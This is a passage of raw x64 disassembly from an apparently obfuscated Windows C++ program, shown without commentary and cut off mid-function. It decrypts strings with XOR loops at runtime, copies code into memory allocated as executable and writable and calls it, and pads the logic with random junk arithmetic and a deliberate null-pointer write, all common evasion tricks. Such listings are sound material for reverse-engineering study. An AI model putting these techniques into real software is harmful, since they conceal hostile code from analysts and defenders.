lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4f
jl 0x140021160
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x220]
call fcn.140026080
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.140010410
nop
lea r9, [rsp + 0x80]
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x258]
call fcn.1400277d0
nop
lea rcx, [rsp + 0x1b0]
call fcn.140026020
nop
lea rcx, [rsp + 0x1d0]
call fcn.140023fe0
lea rdx, [rsp + 0x258]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140027590
lea rdx, [0x1400278e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsd xmm0, qword [0x1400360e8]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x1400360f0]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x1400360f4]
mov byte [rsp + 0x16c], al
mov r9d, esi
cmp edi, 2
jl 0x1400213de
movdqa xmm3, xmm13
punpckldq xmm3, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm12
pmuldq xmm1, xmm12
shufps xmm3, xmm1, 0xdd
psrad xmm3, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm7
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037370]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400360e8]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm4, xmmword [0x140037310]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x1400213f0
lea rax, [rsp + 0x160]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x1400214a9
mov rdx, rsi
nop dword [rax]
cmp rax, r12
je 0x140021498
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140021480
jmp 0x1400214a9
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14002158f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400214d2
mov r8, rsi
jmp 0x14002156e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400214e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x1400015e0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov r14d, esi
movzx eax, word [0x14003657c]
mov word [rsp + 0x40], ax
cmp byte [0x14003657d], 0
je 0x1400215e4
mov byte [rsp + 0x40], 0x3a
xor byte [rsp + 0x41], 0x54
movzx eax, word [0x14003657c]
mov word [rsp + 0x80], ax
cmp byte [0x14003657d], 0
je 0x14002160c
mov byte [rsp + 0x80], 0x3a
xor byte [rsp + 0x81], 0x54
lea r8, [rsp + 0x80]
lea rcx, [rsp + 0xe0]
call fcn.140026b90
nop
lea r8, [0x140043eb0]
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.140026d70
nop
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rsp + 0x108]
call fcn.140026d00
nop
lea r8, [rsp + 0x258]
mov rdx, rax
lea rcx, [rsp + 0x200]
call fcn.140026d70
nop
lea rcx, [rsp + 0x108]
call fcn.140026020
nop
lea rcx, [rsp + 0x128]
call fcn.140026020
nop
lea rcx, [rsp + 0xe0]
call fcn.140026020
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400250a0
mov dword [rsp + 0x148], 0xffffff9c
mov dword [rsp + 0x14c], 0x64
movups xmmword [rsp + 0x1d0], xmm9
mov dword [rsp + 0x40], esi
movsd qword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x48]
call fcn.140001650
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.140026e80
lea rcx, [rsp + 0x1b0]
call fcn.140002520
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1b0], xmm1
mov qword [rsp + 0x1c0], rsi
lea rcx, [rsp + 0x190]
call fcn.140026ea0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x190]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026ef0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x190]
call fcn.140026f20
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x190]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f50
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x190]
call fcn.140026f80
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x190]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026fb0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
nop
lea rcx, [rsp + 0x160]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.1400024c0
test al, al
jns 0x140021bfa
cmp esi, 0x186a0
jge 0x140021bf3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov rbx, qword [rsp + 0x1b8]
sub rbx, qword [rsp + 0x1b0]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x1b0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
movaps xmm1, xmm5
call fcn.140002370
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x220]
call fcn.140026080
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x220]
call fcn.1400022e0
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rcx, [rsp + 0x170]
call fcn.140025170
nop
lea rax, [rsp + 0x148]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.140027070
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call fcn.1400023f0
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.1400270d0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov r8d, ebx
mov edx, eax
call fcn.1400024f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
test al, 1
jne 0x140021b11
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140021b20
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
xor ebx, ebx
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x140021b9b
lea rcx, [rsp + 0x148]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140021bbc
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0x1d0]
call fcn.140026fe0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140021b30
sub rdi, 1
jne 0x140021b25
lea rcx, [rsp + 0x170]
call fcn.140025110
nop
lea rcx, [rsp + 0x220]
call fcn.140026020
inc esi
jmp 0x1400218c2
xor esi, esi
jmp 0x1400218a0
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x1b0]
call fcn.140024fd0
mov edi, dword [0x14003f090]
movups xmm0, xmmword [str._a_:u_f1_v_a]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x1400370e8]
movups xmmword [rsp + 0xa0], xmm1
movsd xmm0, qword [0x1400370f8]
movsd qword [rsp + 0xb0], xmm0
movzx eax, word [0x140037100]
mov word [rsp + 0xb8], ax
movzx eax, byte [0x140037102]
mov byte [rsp + 0xba], al
mov r9d, esi
cmp edi, 2
jl 0x140021e0f
movdqa xmm0, xmmword [0x140037370]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140021c90
cmp r9d, 0x2b
jge 0x140021e6c
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2b
jl 0x140021e20
movsd xmm0, qword [str.:____fqOb]
movzx eax, byte [0x140036940]
movsd qword [rsp + 0x70], xmm0
mov byte [rsp + 0x70], 0x68
xor byte [rsp + 0x71], 0x54
xor byte [rsp + 0x72], 0x56
xor byte [rsp + 0x73], 0x58
xor byte [rsp + 0x74], 0x5a
xor byte [rsp + 0x75], 0x5c
xor byte [rsp + 0x76], 0x5e
xor byte [rsp + 0x77], 0x60
xor al, 0x62
mov byte [rsp + 0x78], al
lea r8, [rsp + 0x258]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x1d0]
call fcn.1400275e0
nop
lea r8, [rsp + 0x90]
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.140026d00
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.140010410
nop
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.140011680
mov rbx, rax
lea rax, [0x140043ed0]
cmp rax, rbx
je 0x140021f8b
mov rcx, qword [0x140043ed0]
test rcx, rcx
je 0x140021f60
mov rdx, qword [0x140043ee0]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140021f49
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140021fc4
mov rcx, r8
call fcn.1400317b4
xorps xmm0, xmm0
movdqu xmmword [0x140043ed0], xmm0
mov qword [0x140043ee0], rsi
mov rax, qword [rbx]
mov qword [0x140043ed0], rax
mov rax, qword [rbx + 8]
mov qword [0x140043ed8], rax
mov rax, qword [rbx + 0x10]
mov qword [0x140043ee0], rax
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
mov rcx, qword [rsp + 0x170]
test rcx, rcx
je 0x140021fe8
mov rdx, qword [rsp + 0x180]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021fcb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140021fcb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400317b4
mov qword [rsp + 0x170], rsi
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x180], rsi
lea rcx, [rsp + 0x1b0]
call fcn.140026020
nop
lea rcx, [rsp + 0x1d0]
call fcn.140026020
mov rdx, qword [0x140043ed8]
sub rdx, qword [0x140043ed0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x1400278e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [0x140043ed8]
sub rax, qword [0x140043ed0]
cmp rax, 5
jae 0x140022054
cmp r14d, 0xa
jle 0x140022300
mov qword [0], rsi
movups xmm0, xmmword [str.e:___02__v_b_rJ_v]
movups xmmword [rsp + 0x1b0], xmm0
movsd xmm0, qword [0x140036928]
movsd qword [rsp + 0x1c0], xmm0
mov eax, dword [0x140036930]
mov dword [rsp + 0x1c8], eax
movzx eax, byte [0x140036934]
mov byte [rsp + 0x1cc], al
mov r9d, esi
cmp edi, 2
jl 0x14002223f
movdqa xmm0, xmmword [0x140037370]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x1b4]
mov edx, dword [rsp + 0x160]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x1400220c0
cmp r9d, 0x1d
jge 0x14002229c
movsxd rax, r9d
lea r10, [rsp + 0x1b0]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1d
jl 0x140022250
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x1400224ab
mov rdx, rsi
cmp rax, r12
je 0x14002249a
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x1400222e1
jmp 0x1400224ab
inc r14d
mov dword [rsp + 0x148], 0x2710
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x1400275b0]
test rax, rax
je 0x140022379
mov rdx, rsi
nop dword [rax]
cmp rax, rbx
je 0x140022368
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x140022350
jmp 0x140022379
mov r8, qword [r15 + rdx*8 + 0x42ba0]
test r8, r8
jne 0x14002245f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400223a2
mov r8, rsi
jmp 0x14002243e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400223b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
jmp 0x140021c11
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14002258f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400224d4
mov r8, rsi
jmp 0x14002256e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
